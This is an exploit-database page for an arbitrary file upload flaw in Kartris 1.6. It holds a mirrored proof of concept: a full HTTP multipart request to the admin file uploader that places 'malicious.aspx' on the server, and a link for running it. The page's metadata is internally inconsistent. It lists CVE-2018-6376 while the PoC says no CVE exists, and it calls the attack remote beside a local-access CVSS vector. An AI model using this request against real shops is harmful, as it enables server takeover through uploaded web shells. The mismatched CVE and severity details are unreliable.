Exploitalert - Database of Exploits

Kartris 1.6 Arbitrary File Upload

CVE	Category	Price	Severity
CVE-2018-6376	CWE-434	$5,000	High

Author	Risk	Exploitation Type	Date
Unknown	High	Remote	2020-05-11

CVSS	EPSS	EPSSP
CVSS:4.0/AV:L/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:H	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Local	AV	The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity	High	AC	The successful attack depends on the evasion or circumvention of security-enhancing techniques in place that would otherwise hinder the attack. These include: Evasion of exploit mitigation techniques. The attacker must have additional methods available to bypass security measures in place. For example, circumvention of address space randomization (ASLR) or data execution prevention must be performed for the attack to be successful. Obtaining target-specific secrets. The attacker must gather some target-specific secret before the attack can be successful. A secret is any piece of information that cannot be obtained through any amount of reconnaissance. To obtain the secret the attacker must perform additional attacks or break otherwise secure measures (e.g. knowledge of a secret key may be needed to break a crypto channel). This operation must be performed for each attacked target.
Privileges Required	High	PR	The attacker requires privileges that provide significant (e.g., administrative) control over the vulnerable system allowing full access to the vulnerable system’s settings and files.
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	High	A	There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.

https://cxsecurity.com/ascii/WLB-2020050095

Kartris 1.6 Arbitrary File Upload

# Exploit Title: Kartris 1.6 - Arbitrary File Upload # Dork: N/A # Date: 2020-05-08 # Exploit Author: Nhat Ha - Sun CSR # Vendor Homepage: https://www.cactusoft.com/ # Software Link: https://www.kartris.com/ # Version: 1.6 # Category: Webapps # Tested on: WiN10_x64/KaLiLinuX_x64 # CVE: N/A # POC: https://localhost/Admin/_GeneralFiles.aspx # POST /Admin/_GeneralFiles.aspx HTTP/1.1 Host: 192.168.1.1 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------9604487443072642880454762058 Content-Length: 18484 Origin: 192.168.1.1 Connection: close Referer: https://192.168.1.1/Admin/_GeneralFiles.aspx Cookie: __cfduid=d1e56d596943226c869a1186e06b8d8661588757096; ASP.NET_SessionId=abbnm4jh04wmdbl2gukr5t5w; KartrisBasket870c8=s=7i7lpj21819; KartrisBackAuth870c8=xxxxxxxxxxxxx Upgrade-Insecure-Requests: 1 -----------------------------9604487443072642880454762058 Content-Disposition: form-data; name="scrManager_HiddenField" ;;AjaxControlToolkit, Version=4.1.7.123, Culture=neutral, PublicKeyToken=28f01b0e84b6d53e:en-GB:57898466-f347-4e5c-9527-24f201596811:475a4ef5:5546a2b:d2e10b12:effe2a26:37e2e5c9:1d3ed089:751cdd15:dfad98a5:497ef277:a43b07eb:3cf12cf1; -----------------------------9604487443072642880454762058 Content-Disposition: form-data; name="_UC_CategoryMenu_tvwCategory_ExpandState" cccccccccc -----------------------------9604487443072642880454762058 Content-Disposition: form-data; name="_UC_CategoryMenu_tvwCategory_SelectedNode" -----------------------------9604487443072642880454762058 Content-Disposition: form-data; name="_UC_CategoryMenu_tvwCategory_PopulateLog" -----------------------------9604487443072642880454762058 Content-Disposition: form-data; name="ctl00$scrManager" -----------------------------9604487443072642880454762058 Content-Disposition: form-data; name="ctl00$_UC_AdminSearch$txtSearch" -----------------------------9604487443072642880454762058 Content-Disposition: form-data; name="ctl00$phdMain$hidFileNameToDelete" -----------------------------9604487443072642880454762058 Content-Disposition: form-data; name="ctl00$phdMain$filUploader"; filename="malicious.aspx" Content-Type: text/plain [Content Malicious File Here ! ] -----------------------------9604487443072642880454762058 Content-Disposition: form-data; name="ctl00$splMainPage$hdnWidth" -----------------------------9604487443072642880454762058 Content-Disposition: form-data; name="ctl00$splMainPage$hdnMinWidth" 170px -----------------------------9604487443072642880454762058 Content-Disposition: form-data; name="ctl00$splMainPage$hdnMaxWidth" 500px -----------------------------9604487443072642880454762058 Content-Disposition: form-data; name="__EVENTTARGET" ctl00$phdMain$lnkUpload -----------------------------9604487443072642880454762058 Content-Disposition: form-data; name="__EVENTARGUMENT" -----------------------------9604487443072642880454762058 Content-Disposition: form-data; name="__VIEWSTATE" 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-----------------------------9604487443072642880454762058 Content-Disposition: form-data; name="__VIEWSTATEGENERATOR" 54DD7DF0 -----------------------------9604487443072642880454762058 Content-Disposition: form-data; name="__VIEWSTATEENCRYPTED" -----------------------------9604487443072642880454762058-- # Access malicious file following the link: https://localhost/uploads/General/malicious.aspx # How to fix: Update the latest version # Commit fix: https://github.com/cactusoft/kartris/commit/e9450dc1f90aa6167f1db1a6f137ea07cacb2a5c

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